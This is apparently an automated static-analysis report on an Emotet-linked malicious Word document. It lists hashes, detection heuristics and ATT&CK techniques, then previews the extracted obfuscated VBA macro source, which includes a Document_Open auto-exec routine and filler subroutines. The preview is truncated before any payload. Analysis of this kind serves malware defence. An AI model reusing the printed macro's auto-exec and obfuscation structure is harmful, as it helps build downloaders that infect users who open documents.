Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f4d3d7b9b40ea3e3…

MALICIOUS

Office (OLE)

204.8 KB Created: 2020-02-05 21:53:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 63fb160e891fb98c9400717e118e8fdd SHA-1: f91ae197a9fec8a09eeb47107e7f564f70c8100d SHA-256: f4d3d7b9b40ea3e38258ef8fef5b96155d4addaddb9573c27a67f70c24f0b7c9
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm with a command stager. This technique, combined with the CreateObject call and the ClamAV detection signature 'Doc.Downloader.Emotet-7577854-0', strongly indicates Emotet family activity. The macro's primary function appears to be executing a secondary payload, likely a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7577854-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7577854-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12046 bytes
SHA-256: e831f87e4b482abaeb0b529e0af4ac018f5e7592f5b0fee4b92f47ac15c63305
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ukbjfmxeuug"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Hortqrriduf.Pdbpjuskwls
End Sub

Attribute VB_Name = "Brirkvql"
Attribute VB_Base = "0{B0529CB4-3EC7-49E2-B30B-03A0B88A8E1E}{C2BCFA2E-7003-4760-8619-94F483F539D4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Coryqlrqmgxc"
Attribute VB_Base = "0{61CEE122-07F8-461B-96B6-DFD168DDF955}{24F25D67-3C75-4F96-B924-6E07658E8583}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Bzmuhfxkq()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Cbozbgoletzbd"
Attribute VB_Base = "0{C0C8F3E8-B94D-421A-9A23-F6CF5078C088}{D014E86F-1213-40A0-9B0A-F0E628BB18DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Sahsggydjpx()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Duryhbojdqlai"
Attribute VB_Base = "0{026F9A57-3317-40CE-8A44-91CAE2DED0F7}{B6F52B00-38C5-4081-86BA-307F1295D916}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Pbyjpunx()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Drdyekdvrikcb"
Attribute VB_Base = "0{CA280FB3-F221-4E13-9465-1D1B634FD666}{BA9EEFB9-8A49-466E-B49C-4FCBAA722668}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rdojwsxo()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Irnvdpwoadk"
Attribute VB_Base = "0{22EE4D99-91C1-4D0C-B497-ECF709D0A9F6}{44530AA0-4BFF-4ECA-AEC3-C720B2C77206}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zgherjsmzd()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Qyngefcijvsqa"
Attribute VB_Base = "0{F60FE0D4-6377-4457-BB39-B0712C0A5D72}{B8BF0F69-1A4E-4771-BEAB-7FCAC0A74EB3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Noaqrgrpdpog()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Binfwmqj"
Attribute VB_Base = "0{DF591AB4-FC30-4152-B396-990A8DB5AF9B}{9C8461FB-5081-429B-886A-ED2C278C8896}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xhcbdnrddqeyy()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Hortqrriduf"
Function Pdbpjuskwls()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvIN
... (truncated)